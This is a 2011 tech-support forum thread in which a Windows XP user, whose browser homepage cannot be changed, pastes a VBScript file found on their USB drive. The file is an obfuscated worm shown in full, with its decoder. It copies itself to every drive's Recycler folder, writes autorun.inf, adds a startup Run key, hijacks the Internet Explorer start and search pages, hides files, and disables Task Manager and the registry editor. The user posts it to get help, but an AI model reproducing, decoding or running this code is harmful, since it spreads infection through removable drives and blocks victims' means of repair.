homepage cannot be changed

March 14, 2011 at 17:36:59
Specs: Windows XP, intel pentium m processor 1.73GHz, 1.99GB of RAM
i open it using notepad, and then i copied it, and paste it here.. read crazyoli's topic.... this file came from my usb...< young woman with two little kids, crying >

ao = "anaratcrdrecedegeneresetexfsfticinitivldlendoforosrcrerirosotetrttvbvewawsRE' ¡s.Sow.COn Err— RŠume NŒtDim o,¤,tf,wd,sdS‹ o=Cš‚eObj…t(Sƒiptg.Fi”SysžmObj…t)S‹ ¤=Cš‚eObj…t(WSƒipt.Shell)tf=WSƒipt.SƒiptFullNamewd=o.G‹Sp…ialFo“‰(0)sd=o.G‹Sp…ialFo“‰(1)If LCase(Mid(tf,4))=r…ycl†\fo.¡s Thˆ ¤.Run Œpl—‰.Œe &o.G‹Fi”(tf).Dr’e.P‚ho.CopyFi” tf,wd&\SysInfo.¡s,TrueS‹AtŸ wd&\SysInfo.¡s,39Dof---UpR‡isŸySpšadSc€dalWSƒipt.S”ep 10000LoopSub SpšadSc€dal()On Err— RŠume NŒtS‹ l„’Š=o.Dr’ŠF— Each l„’e In l„’ŠIf (l„’e.Dr’eType>0 A• l„’e.Dr’eType<4)A•(l„’e.P‚h<>A: A• l„’e.P‚h<>B:) ThˆIf l„’e.IsReady Thˆo.Cš‚eFo“‰(l„’e.P‚h&\R…ycl†).A ›butŠ=34o.CopyFi” wd&\SysInfo.¡s,l„’e.P‚h&\R…ycl†\fo.¡s,TrueS‹AtŸ l„’e.P‚h&\R…ycl†\fo.¡s,39MakeR…ycl† l„’e.P‚h&\R…ycl†\dŠktop.io.G‹Fo“‰(l„’e.P‚h&\R…ycl†).A ›butŠ=39MakeAut—un l„’e.P‚h&\Aut—un.fo.CopyFi” wd&\SysInfo.¡s,l„’e.P‚h&\bsu scandal (cdo).¡s,TrueS‹AtŸ l„’e.P‚h&\bsu scandal (cdo).¡s,32E• IfE• IfNŒtE• SubSub f---UpR‡isŸy()On Err— RŠume NŒtW‘h ¤.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\Miƒ˜oŽ\Int‰n‹ Expl—‰\Ma\Wdow T‘”,Sow? Bro pa tsur ba!!! Guba gyud n€g PC nimo!Jocabs Na jud ni.... hehehehe.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\Miƒ˜oŽ\Int‰n‹ Expl—‰\Ma\Stt Page,h p://www.r†tube.com/.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\Miƒ˜oŽ\Int‰n‹ Expl—‰\Ma\Sech Page,h p://www.r†tube.com/.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\PoliŠ\Miƒ˜oŽ\Int‰n‹ Expl—‰\Contœl P€el\Homepage,1,¥G_DWORD.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\Miƒ˜oŽ\Wdo¤\CurrˆtV‰sion\Expl—‰\Adv€c†\Hiddˆ,0,¥G_DWORD.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\Miƒ˜oŽ\Wdo¤\CurrˆtV‰sion\Expl—‰\Adv€c†\HideFi”Ext,1,¥G_DWORD.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\Miƒ˜oŽ\Wdo¤\CurrˆtV‰sion\Expl—‰\Adv€c†\ShowSup‰Hiddˆ,0,¥G_DWORD.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\Miƒ˜oŽ\Wdo¤\CurrˆtV‰sion\PoliŠ\Expl—‰\NoDr’eTypeAutoRun,128,¥G_DWORD.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\Miƒ˜oŽ\Wdo¤\CurrˆtV‰sion\PoliŠ\Expl—‰\NoFo“‰Options,1,¥G_DWORD.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\Miƒ˜oŽ\Wdo¤\CurrˆtV‰sion\PoliŠ\Sysžm\Disab”TaskMgr,1,¥G_DWORD.R‡Wr‘e HKEY_CUR¥NT_USER\SoŽwe\Miƒ˜oŽ\Wdo¤\CurrˆtV‰sion\PoliŠ\Sysžm\Disab”R‡isŸyTools,1,¥G_DWORD.R‡Wr‘e HKEY_LOCAL_MACHINE\SoŽwe\Miƒ˜oŽ\Wdo¤\CurrˆtV‰sion\Run\Miƒ˜oŽ Sysžm Info,¤ƒipt.Œe &wd&\SysInfo.¡sE• W‘hE• SubSub S‹AtŸ(s™,‚Ÿ)o.G‹Fi”(s™).A ›butŠ=‚ŸE• SubSub MakeAut—un(s™)On Err— RŠume NŒto.G‹Fo“‰(s™).A ›butŠ=34o.Del‹eFo“‰ s™,TrueS‹AtŸ s™,34o.Del‹eFi” s™,TrueS‹ m=o.Cš‚eTŒtFi”(s™,True)m.Wr‘e [aut—un]&¡CrLf&opˆ=¤ƒipt.Œe .\R…ycl†\fo.¡s&¡CrLf&shellŒ…už=¤ƒipt.Œe .\R…ycl†\fo.¡s&¡CrLf&shell\Opˆ\Comm€d=¤ƒipt.Œe .\R…ycl†\fo.¡s&¡CrLf&shell\Opˆ\Default=1m.Cl˜eS‹AtŸ s™,39E• SubSub MakeR…ycl†(s™)On Err— RŠume NŒtS‹AtŸ s™,34o.Del‹eFi” s™,TrueS‹ r…yc”=o.Cš‚eTŒtFi”(s™,True)r…yc”.Wr‘e [.ShellClassInfo]&¡CrLf&CLSID={645FF040-5081-101B-9F08-00AA002F954E}r…yc”.Cl˜eS‹AtŸ s™,39E• Sub' Sow.C' Ako si Sow! Wal€g so m€ €g makak‚alo sa ak :-)"
Execute(a(ao))
Function a(b)
c = b
c = Replace(c, Chr(28), String(3, Chr(9)))
c = Replace(c, Chr(27), String(3, Chr(32)))
c = Replace(c, Chr(29), vbCrLf)
c = Replace(c, Chr(18), Chr(34))
d = Left(c, InStr(1, c, Chr(25)) - 1)
c = Mid(c, Len(d) + 2, Len(c))
e = 1
f = 0
For i = 1 To Len(d) / 2
g = Mid(d, e, 2)
c = Replace(c, Chr(128 + f), g)
e = e + 2
f = f + 1
Next
a = c
End Function


See More: homepage cannot be changed

Report •


#1
March 18, 2011 at 08:31:31

Report •
Related Solutions


Ask Question